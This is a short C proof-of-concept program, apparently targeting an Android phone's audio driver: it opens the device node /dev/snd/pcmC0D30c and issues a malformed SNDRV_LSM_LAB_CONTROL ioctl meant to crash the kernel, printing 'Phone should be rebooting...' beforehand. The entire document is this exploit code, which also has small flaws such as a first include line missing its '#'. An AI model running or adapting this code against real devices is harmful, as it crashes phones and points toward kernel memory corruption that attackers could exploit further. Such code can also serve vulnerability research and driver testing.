No description provided by source.
include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define SNDRV_LSM_LAB_CONTROL _IOW('U', 0x08, uint32_t)
int main(void)
{
int fd;
int ret;
fd = open("/dev/snd/pcmC0D30c", O_RDWR);
if (fd < 0) {
printf("Couldn't open device, error %s\n", strerror(errno));
return -1;
}
printf("Phone should be rebooting...\n");
ret = ioctl(fd, SNDRV_LSM_LAB_CONTROL, 0x0B01ABADACCE55);
close(fd);
printf("Attack failed.\n");
return -1;
}